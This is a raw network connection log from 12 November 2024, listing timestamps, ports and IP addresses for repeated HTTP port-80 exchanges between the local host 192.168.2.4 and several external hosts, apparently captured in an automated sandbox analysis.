Nov 12, 2024 18:48:20.079523087 CET	80	49861	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:20.080354929 CET	80	49861	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:20.080364943 CET	80	49861	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:20.825866938 CET	80	49861	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:20.844383955 CET	80	49861	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:20.844465971 CET	49861	80	192.168.2.4	172.67.137.238
Nov 12, 2024 18:48:21.584110975 CET	49861	80	192.168.2.4	172.67.137.238
Nov 12, 2024 18:48:22.603147030 CET	49876	80	192.168.2.4	172.67.137.238
Nov 12, 2024 18:48:22.796844959 CET	80	49876	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:22.798012018 CET	49876	80	192.168.2.4	172.67.137.238
Nov 12, 2024 18:48:22.805389881 CET	49876	80	192.168.2.4	172.67.137.238
Nov 12, 2024 18:48:22.810405970 CET	80	49876	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:23.537311077 CET	80	49876	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:23.537611961 CET	80	49876	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:23.537681103 CET	49876	80	192.168.2.4	172.67.137.238
Nov 12, 2024 18:48:23.557256937 CET	80	49876	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:23.557369947 CET	49876	80	192.168.2.4	172.67.137.238
Nov 12, 2024 18:48:23.558233976 CET	49876	80	192.168.2.4	172.67.137.238
Nov 12, 2024 18:48:23.563021898 CET	80	49876	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:28.602534056 CET	49908	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:28.607441902 CET	80	49908	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:28.607511997 CET	49908	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:28.617837906 CET	49908	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:28.623507977 CET	80	49908	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:29.595937014 CET	80	49908	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:29.646286964 CET	49908	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:29.778655052 CET	80	49908	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:29.778768063 CET	49908	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:30.130740881 CET	49908	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:31.149254084 CET	49923	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:31.154150963 CET	80	49923	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:31.154246092 CET	49923	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:31.164441109 CET	49923	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:31.169356108 CET	80	49923	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:32.109539986 CET	80	49923	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:32.161899090 CET	49923	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:32.291152954 CET	80	49923	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:32.291255951 CET	49923	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:32.695492029 CET	49923	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:33.711702108 CET	49939	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:33.716671944 CET	80	49939	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:33.716799021 CET	49939	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:33.727041960 CET	49939	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:33.731995106 CET	80	49939	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:33.732023954 CET	80	49939	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:33.732228994 CET	80	49939	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:33.732238054 CET	80	49939	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:33.732305050 CET	80	49939	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:33.732314110 CET	80	49939	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:33.732420921 CET	80	49939	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:33.732481003 CET	80	49939	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:33.732489109 CET	80	49939	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:34.671842098 CET	80	49939	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:34.724272966 CET	49939	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:34.855041027 CET	80	49939	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:34.855099916 CET	49939	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:35.239988089 CET	49939	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:36.258512974 CET	49955	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:36.263516903 CET	80	49955	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:36.263592958 CET	49955	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:36.271267891 CET	49955	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:36.276046991 CET	80	49955	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:37.220454931 CET	80	49955	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:37.271181107 CET	49955	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:37.402326107 CET	80	49955	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:37.402425051 CET	49955	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:37.403450012 CET	49955	80	192.168.2.4	38.47.232.202
Nov 12, 2024 18:48:37.408288956 CET	80	49955	38.47.232.202	192.168.2.4
Nov 12, 2024 18:48:50.574516058 CET	50015	80	192.168.2.4	13.248.169.48
Nov 12, 2024 18:48:50.581178904 CET	80	50015	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:50.581316948 CET	50015	80	192.168.2.4	13.248.169.48
Nov 12, 2024 18:48:50.631124020 CET	50015	80	192.168.2.4	13.248.169.48
Nov 12, 2024 18:48:50.636094093 CET	80	50015	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:51.297297955 CET	80	50015	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:51.297347069 CET	50015	80	192.168.2.4	13.248.169.48
Nov 12, 2024 18:48:52.149035931 CET	50015	80	192.168.2.4	13.248.169.48
Nov 12, 2024 18:48:52.153892040 CET	80	50015	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:53.210756063 CET	50016	80	192.168.2.4	13.248.169.48
Nov 12, 2024 18:48:53.216062069 CET	80	50016	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:53.216159105 CET	50016	80	192.168.2.4	13.248.169.48
Nov 12, 2024 18:48:53.256110907 CET	50016	80	192.168.2.4	13.248.169.48
Nov 12, 2024 18:48:53.260984898 CET	80	50016	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:53.917865038 CET	80	50016	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:53.918068886 CET	50016	80	192.168.2.4	13.248.169.48
Nov 12, 2024 18:48:54.770554066 CET	50016	80	192.168.2.4	13.248.169.48
Nov 12, 2024 18:48:54.775701046 CET	80	50016	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:55.789262056 CET	50017	80	192.168.2.4	13.248.169.48
Nov 12, 2024 18:48:55.794388056 CET	80	50017	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:55.795198917 CET	50017	80	192.168.2.4	13.248.169.48
Nov 12, 2024 18:48:55.806242943 CET	50017	80	192.168.2.4	13.248.169.48
Nov 12, 2024 18:48:55.811306953 CET	80	50017	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:55.811336994 CET	80	50017	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:55.811352015 CET	80	50017	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:55.811357975 CET	80	50017	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:55.811367989 CET	80	50017	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:55.811372995 CET	80	50017	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:55.811559916 CET	80	50017	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:55.811568975 CET	80	50017	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:55.811611891 CET	80	50017	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:56.457340956 CET	80	50017	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:56.457407951 CET	50017	80	192.168.2.4	13.248.169.48
Nov 12, 2024 18:48:57.317378998 CET	50017	80	192.168.2.4	13.248.169.48
Nov 12, 2024 18:48:57.322948933 CET	80	50017	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:58.336328983 CET	50018	80	192.168.2.4	13.248.169.48
Nov 12, 2024 18:48:58.341404915 CET	80	50018	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:58.341552019 CET	50018	80	192.168.2.4	13.248.169.48
Nov 12, 2024 18:48:58.348754883 CET	50018	80	192.168.2.4	13.248.169.48
Nov 12, 2024 18:48:58.353934050 CET	80	50018	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:58.999310970 CET	80	50018	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:59.030550003 CET	80	50018	13.248.169.48	192.168.2.4
Nov 12, 2024 18:48:59.030683041 CET	50018	80	192.168.2.4	13.248.169.48
Nov 12, 2024 18:48:59.031733036 CET	50018	80	192.168.2.4	13.248.169.48
Nov 12, 2024 18:48:59.036894083 CET	80	50018	13.248.169.48	192.168.2.4
Nov 12, 2024 18:49:04.355200052 CET	50019	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:04.365180969 CET	80	50019	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:04.365272045 CET	50019	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:04.379703999 CET	50019	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:04.387337923 CET	80	50019	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:05.580292940 CET	80	50019	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:05.580653906 CET	80	50019	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:05.580682993 CET	80	50019	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:05.580737114 CET	50019	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:05.880590916 CET	50019	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:06.901134968 CET	50020	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:06.906332016 CET	80	50020	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:06.906398058 CET	50020	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:06.923726082 CET	50020	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:06.928775072 CET	80	50020	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:07.868855000 CET	80	50020	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:07.928658009 CET	50020	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:08.050292969 CET	80	50020	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:08.052642107 CET	50020	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:08.426389933 CET	50020	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:09.448504925 CET	50021	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:09.454256058 CET	80	50021	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:09.460483074 CET	50021	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:09.468501091 CET	50021	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:09.473705053 CET	80	50021	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:09.473722935 CET	80	50021	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:09.473786116 CET	80	50021	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:09.473795891 CET	80	50021	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:09.473874092 CET	80	50021	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:09.473882914 CET	80	50021	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:09.473942995 CET	80	50021	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:09.473952055 CET	80	50021	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:09.473961115 CET	80	50021	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:10.419212103 CET	80	50021	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:10.473141909 CET	50021	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:10.608990908 CET	80	50021	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:10.609044075 CET	50021	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:10.973187923 CET	50021	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:11.997519016 CET	50022	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:12.002892017 CET	80	50022	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:12.004539013 CET	50022	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:12.011303902 CET	50022	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:12.016321898 CET	80	50022	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:12.961158037 CET	80	50022	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:13.004291058 CET	50022	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:13.143934011 CET	80	50022	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:13.144036055 CET	50022	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:13.145173073 CET	50022	80	192.168.2.4	38.47.207.164
Nov 12, 2024 18:49:13.150074959 CET	80	50022	38.47.207.164	192.168.2.4
Nov 12, 2024 18:49:18.202495098 CET	50023	80	192.168.2.4	3.33.130.190
Nov 12, 2024 18:49:18.207422018 CET	80	50023	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:18.208347082 CET	50023	80	192.168.2.4	3.33.130.190
Nov 12, 2024 18:49:18.220218897 CET	50023	80	192.168.2.4	3.33.130.190
Nov 12, 2024 18:49:18.225058079 CET	80	50023	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:18.835414886 CET	80	50023	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:18.835469961 CET	50023	80	192.168.2.4	3.33.130.190
Nov 12, 2024 18:49:19.722903013 CET	50023	80	192.168.2.4	3.33.130.190
Nov 12, 2024 18:49:19.727869034 CET	80	50023	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:20.742094994 CET	50024	80	192.168.2.4	3.33.130.190
Nov 12, 2024 18:49:20.747406960 CET	80	50024	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:20.747473955 CET	50024	80	192.168.2.4	3.33.130.190
Nov 12, 2024 18:49:20.760190964 CET	50024	80	192.168.2.4	3.33.130.190
Nov 12, 2024 18:49:20.765058994 CET	80	50024	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:21.374962091 CET	80	50024	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:21.375037909 CET	50024	80	192.168.2.4	3.33.130.190
Nov 12, 2024 18:49:22.277597904 CET	50024	80	192.168.2.4	3.33.130.190
Nov 12, 2024 18:49:22.282893896 CET	80	50024	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:23.288290024 CET	50025	80	192.168.2.4	3.33.130.190
Nov 12, 2024 18:49:23.293313026 CET	80	50025	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:23.293425083 CET	50025	80	192.168.2.4	3.33.130.190
Nov 12, 2024 18:49:23.304402113 CET	50025	80	192.168.2.4	3.33.130.190
Nov 12, 2024 18:49:23.309385061 CET	80	50025	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:23.309407949 CET	80	50025	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:23.309426069 CET	80	50025	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:23.309436083 CET	80	50025	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:23.309447050 CET	80	50025	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:23.309729099 CET	80	50025	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:23.309739113 CET	80	50025	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:23.309747934 CET	80	50025	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:23.309767962 CET	80	50025	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:23.922446012 CET	80	50025	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:23.922621965 CET	50025	80	192.168.2.4	3.33.130.190
Nov 12, 2024 18:49:24.816524982 CET	50025	80	192.168.2.4	3.33.130.190
Nov 12, 2024 18:49:24.823060989 CET	80	50025	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:25.838325977 CET	50026	80	192.168.2.4	3.33.130.190
Nov 12, 2024 18:49:25.843310118 CET	80	50026	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:25.843436956 CET	50026	80	192.168.2.4	3.33.130.190
Nov 12, 2024 18:49:25.854284048 CET	50026	80	192.168.2.4	3.33.130.190
Nov 12, 2024 18:49:25.859179974 CET	80	50026	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:26.482073069 CET	80	50026	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:26.482980967 CET	80	50026	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:26.483031034 CET	50026	80	192.168.2.4	3.33.130.190
Nov 12, 2024 18:49:26.486490965 CET	50026	80	192.168.2.4	3.33.130.190
Nov 12, 2024 18:49:26.491322041 CET	80	50026	3.33.130.190	192.168.2.4
Nov 12, 2024 18:49:31.551573992 CET	50027	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:31.557022095 CET	80	50027	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:31.557291985 CET	50027	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:31.569828987 CET	50027	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:31.574878931 CET	80	50027	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:32.575869083 CET	80	50027	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:32.628722906 CET	50027	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:32.780630112 CET	80	50027	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:32.780687094 CET	50027	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:33.081965923 CET	50027	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:34.100634098 CET	50028	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:34.105653048 CET	80	50028	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:34.105828047 CET	50028	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:34.119739056 CET	50028	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:34.124798059 CET	80	50028	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:35.112253904 CET	80	50028	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:35.159902096 CET	50028	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:35.319053888 CET	80	50028	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:35.319175005 CET	50028	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:35.628700972 CET	50028	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:36.648964882 CET	50029	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:36.654050112 CET	80	50029	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:36.654130936 CET	50029	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:36.668064117 CET	50029	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:36.673038960 CET	80	50029	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:36.673069954 CET	80	50029	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:36.673079967 CET	80	50029	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:36.673171043 CET	80	50029	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:36.673181057 CET	80	50029	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:36.673188925 CET	80	50029	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:36.673207045 CET	80	50029	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:36.673216105 CET	80	50029	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:36.673224926 CET	80	50029	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:37.660224915 CET	80	50029	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:37.707674026 CET	50029	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:37.866595984 CET	80	50029	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:37.867754936 CET	50029	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:38.175565004 CET	50029	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:39.194633961 CET	50030	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:39.199664116 CET	80	50030	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:39.199733973 CET	50030	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:39.207734108 CET	50030	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:39.212790012 CET	80	50030	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:40.204647064 CET	80	50030	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:40.253506899 CET	50030	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:40.402888060 CET	80	50030	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:40.403707027 CET	50030	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:40.407553911 CET	50030	80	192.168.2.4	103.21.221.4
Nov 12, 2024 18:49:40.412497044 CET	80	50030	103.21.221.4	192.168.2.4
Nov 12, 2024 18:49:45.628143072 CET	50031	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:45.633505106 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:45.637636900 CET	50031	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:45.649389029 CET	50031	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:45.654329062 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.307281971 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.307310104 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.307332039 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.307374954 CET	50031	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:46.307662010 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.307815075 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.307868958 CET	50031	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:46.308185101 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.308198929 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.308221102 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.308224916 CET	50031	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:46.308238029 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.308844090 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.308892012 CET	50031	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:46.313348055 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.313505888 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.313520908 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.313546896 CET	50031	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:46.362720966 CET	50031	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:46.421853065 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.421910048 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.421921015 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.422049046 CET	50031	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:46.422311068 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.422399044 CET	50031	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:46.422569036 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.422583103 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.422911882 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.422923088 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.422952890 CET	50031	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:46.423001051 CET	50031	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:46.423235893 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.423247099 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.423352003 CET	50031	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:46.423657894 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.423675060 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.423739910 CET	50031	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:46.424042940 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.472085953 CET	50031	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:46.537210941 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.537307024 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.537319899 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.537355900 CET	50031	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:46.537719965 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.537758112 CET	50031	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:46.537818909 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.538077116 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.538088083 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.538099051 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.538116932 CET	50031	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:46.538136959 CET	50031	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:46.538667917 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.539702892 CET	80	50031	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:46.539757013 CET	50031	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:47.159751892 CET	50031	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:48.178457975 CET	50032	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:48.183775902 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.183922052 CET	50032	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:48.194948912 CET	50032	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:48.199872017 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.868078947 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.868172884 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.868185043 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.868213892 CET	50032	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:48.868633032 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.868645906 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.868658066 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.868669987 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.868669987 CET	50032	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:48.868683100 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.868704081 CET	50032	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:48.868748903 CET	50032	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:48.869458914 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.869468927 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.869518042 CET	50032	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:48.873123884 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.873217106 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.873230934 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.873260975 CET	50032	80	192.168.2.4	203.161.46.201
